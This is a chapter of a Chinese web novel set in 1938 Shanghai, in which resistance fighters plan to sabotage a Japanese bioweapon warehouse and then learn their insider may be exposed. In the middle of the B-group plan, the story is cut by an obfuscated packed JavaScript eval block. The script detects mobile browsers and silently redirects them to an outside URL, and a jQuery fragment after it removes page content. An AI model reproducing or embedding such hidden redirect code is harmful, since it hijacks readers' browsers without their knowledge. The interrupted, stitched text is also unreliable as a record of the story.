1938年4月27日,夜,闸北一处废弃教堂地下室
烛火摇曳,将墙上剥落的圣母像映照得影影绰绰。空气里弥漫着灰尘、潮湿和一种剑拔弩张的紧张。
玫瑰姐坐在一张瘸腿的旧木桌旁,指尖夹着的香烟已燃到尽头,烟灰长长一截,颤巍巍地悬着。她对面,顾沉舟静立如松,昭华站在稍侧后方,能清晰看到玫瑰姐眼中毫不掩饰的敌意与讥诮。
“合作?”玫瑰姐嗤笑一声,弹掉烟灰,那截灰烬落在积满灰尘的地上,无声碎裂,“顾司令,你的合作,就是让我的人去给你当探路的卒子,挡枪的肉盾?陈敬山一事,你可跟我‘合作’过?”
“陈敬山是意外收获,也是迫不得已。”顾沉舟声音平稳,不为所动,“但‘樱花’的最终指令和时间已经确认,五月六日午夜,永丰仓库。这是我们唯一能阻止它的机会。你的人摸清了仓库外围,我有内线可以提供部分守卫换班细节,我们联手,才有可能潜入地下核心区域进行破坏。”
“破坏?就凭我们这几杆破枪,去闯关东军防疫给水部的老窝?”玫瑰姐站起身,逼近一步,烛火在她脸上跳动,“顾沉舟,别把我当傻子。你手里有海因茨伯格留下的东西,对不对?那个德国佬的‘解药’?你想用那个?”
顾沉舟眼神微凝。玫瑰姐的情报网,比他预想的还要深。
“是有一种不稳定的抑制配方,但未经测试,效果未知,量产更是天方夜谭。”他没有否认,“我们的首要目标,是用物理方式摧毁培养物和载体。抑制配方是最后不得已的手段,或者……制造混乱的烟雾弹。”
“把它给我。”玫瑰姐伸出手,眼神灼灼,“你的人擅长渗透、情报,但搞破坏、玩炸药、近距离搏杀,我的人更在行。配方给我,我的人负责带进去,在关键位置使用。是烧是炸还是用你那‘解药’,我的人见机行事。”
这是要夺取行动的核心破坏手段!昭华心中一紧。
顾沉舟沉默片刻,却出乎意料地点了点头:“可以。但有两个条件。”
“说。”
“第一,行动必须统一指挥。你的人需要接受基本的情报识别、潜行和撤退信号训练,不能擅自行动。我会派人参与你的行动小组,负责通信协调。”
玫瑰姐眯起眼睛,显然不喜欢被掺沙子,但权衡利弊,咬牙道:“行。但我的队伍,最终决定权在我。”
“第二,”顾沉舟看向她,目光锐利,“行动目标是摧毁‘樱花’载体,不是杀光日本人。尽量避免无谓的交火,一旦核心目标达成或确认无法达成,必须立刻按计划撤离,不可恋战。我要的是一支能执行精密破坏任务的队伍,不是敢死队。”
“呵,顾司令倒是惜命。”玫瑰姐讽刺道,但终究还是点了点头,“……我答应。我的人命也金贵,不会白白送死。但刀枪无眼,真要打起来,我可管不了那么多。”
初步的,布满荆棘的同盟,就此达成。双方交换了更详细的仓库情报,顾沉舟提供了内线传来的守卫换班时间漏洞,据此确定了初步的行动框架:由玫瑰姐挑选并训练一支约十五人的精干小队;顾沉舟提供抑制配方(经过稀释和伪装)、必要的□□、以及仓库地下部分的推测结构图(结合陈敬山口供和草图);昭华负责协助解读可能与乐谱密码相关的机关或标识(如果存在)。
接下来几天,地下教堂变成了临时的训练营和兵工厂。空气中弥漫着汗味、机油味和硫磺味。玫瑰姐的人多是江湖出身或底层工人,有一股不怕死的蛮勇,但缺乏纪律和协同。顾沉舟派来的两个前国军工兵,负责教授简单的爆破安放、□□识别和小组配合战术。训练磕磕绊绊,冲突时有发生,但在共同的、迫在眉睫的毁灭威胁下,两股截然不同的力量,勉强被拧在了一起。
昭华也在紧张准备。她反复研究仓库草图,记忆每一个可能的出入口、通风管道、守卫点位。同时,她协助顾沉舟那边的一个老译电员,尝试进一步分析“调号密钥”的细节,看看除了日期时间,是否还隐藏着仓库内部的具体隔间布局或安全机关信息——美雪夫人用生命换来的情报,或许还有未发掘的价值。
4月30日,傍晚,安全屋
老译电员有了惊人发现。在绢纸密钥的边角,用近乎显微镜才能看清的笔迹,写着一串德文缩写和数字,混杂在乐谱符号中,极难察觉。
“这……这看起来像是通风系统的管道编号和截面标识!”老译电员激动地指着放大镜下模糊的痕迹,“您看,这个‘L-7-D’,很可能代表‘左侧(Links),第7号管道,直径(Durchmesser)’后面跟的数字是管径!还有这个‘Kreuzung 3’——交叉点3!这应该是仓库地下通风管网的部分图纸!”
顾沉舟和昭华精神大振。如果这是真的,那么他们掌握的就不仅仅是地下通风口位置,而是部分地下管网的“地图”!这能极大提高潜入的隐蔽性和成功率,甚至可能找到直达核心隔离室的路径!
“立刻将这些标识与仓库建筑可能的通风设计进行比对推算!”顾沉舟下令。同时,他心中对竹内美雪的牺牲,涌起更深的敬意与寒意。她传递出的,是一把真正能插入敌人心脏的、细节丰沛的钥匙。
5月2日,夜,训练接近尾声
玫瑰姐的队伍勉强有了点模样。基本的潜行手势、□□使用、小组掩护配合,算是过了关。抑制配方被分装进十几个特制的小型玻璃胶囊里,可以投掷或固定在特定位置释放。
行动方案最终确定:五月五日,晚十一点,利用守卫凌晨换班前二十分钟的相对松懈期,分三组潜入。
A组(玫瑰姐亲自带领,6人):从通风口,根据密钥图纸修正的确切位置,潜入,沿通风管道向核心区域渗透。
B组(顾沉舟手下工兵带领,5人)
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070514|195200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:在仓库外围制造多处小型爆炸和火灾,使用定时装置,吸引守卫注意力,制造混乱。
C组(昭华与另一名通信员,2人):在仓库外一栋早已废弃的、可俯瞰部分仓库区域的二层砖楼设立临时观察点,负责监控守卫动向,通过简易灯光信号与潜入小组保持有限联系,并在情况危急时发出撤退信号。
顾沉舟本人不直接参与潜入,他需要在外部坐镇,协调可能出现的意外情况,并准备最后的接应撤离路线。
“记住,我们的首要目标是第三号隔离室。根据陈敬山的口供和密钥信息,那里是初期培养物和动物载体最可能存放的地方。找到它,用□□和抑制胶囊彻底摧毁。如果遇到无法克服的抵抗或暴露,以撤离为第一要务,不可纠缠。”顾沉舟在做最后的行动简报,目光扫过每一张或紧张、或兴奋、或麻木的脸。
玫瑰姐检查着手中的驳壳枪,脸色在烛光下显得有些苍白,但眼神凶狠:“只要进了里面,看到那些鬼东西,我知道该怎么做。”
昭华调试着信号灯和望远镜,手心微微出汗。她将第一次,真正意义上踏入战场,虽然不是最前线,但同样关乎生死。
就在这时,一个负责外围警戒的队员匆匆进来,脸色难看,递给顾沉舟一张匆匆写就的字条。
顾沉舟展开一看,瞳孔骤然收缩。
“出什么事了?”玫瑰姐警觉地问。
顾沉舟将字条递给她,声音低沉:“我们的内线……可能暴露了。他传出的最后消息:吉川的‘特别作业班’突然提前换防,守卫增加了两倍,而且……仓库周边疑似埋设了地雷和感应装置。行动……恐怕有变。”
地下室瞬间陷入死寂。只有蜡烛燃烧的噼啪声,和众人陡然沉重的呼吸声。
提前换防?地雷?这意味他们之前制定的潜入路线和时机,可能完全作废!甚至仓库本身,已经变成了一个请君入瓮的死亡陷阱!
“是陈敬山!还是那个德国佬被捕后吐了口?”玫瑰姐咬牙道。
“不一定。也可能是竹内自己的疑心病,或者美雪夫人送出密钥的事终究没瞒住。”顾沉舟强迫自己冷静,大脑飞速运转,“行动必须调整。强攻不可能。但‘樱花’必须摧毁……”
“怎么调整?硬闯是送死!”玫瑰姐的手下有人忍不住低吼。
“或许……”昭华忽然开口,声音不大,却吸引了所有人的目光,“我们不必进去。”
众人看向她。
“如果我们进不去,那么……能不能让‘樱花’自己出不来?或者,让它在错误的时间、错误的地点‘绽放’?”昭华的目光落在那些伪装成普通玻璃瓶的抑制胶囊上,一个极其冒险、甚至有些异想天开的念头,在她脑中逐渐成形。
昭华看了一眼顾沉舟,许是错觉,竟看到他冷酷好看的眼眸中隐隐流露出鼓励。昭华错开眼神看向玫瑰姐,提出一个大胆设想——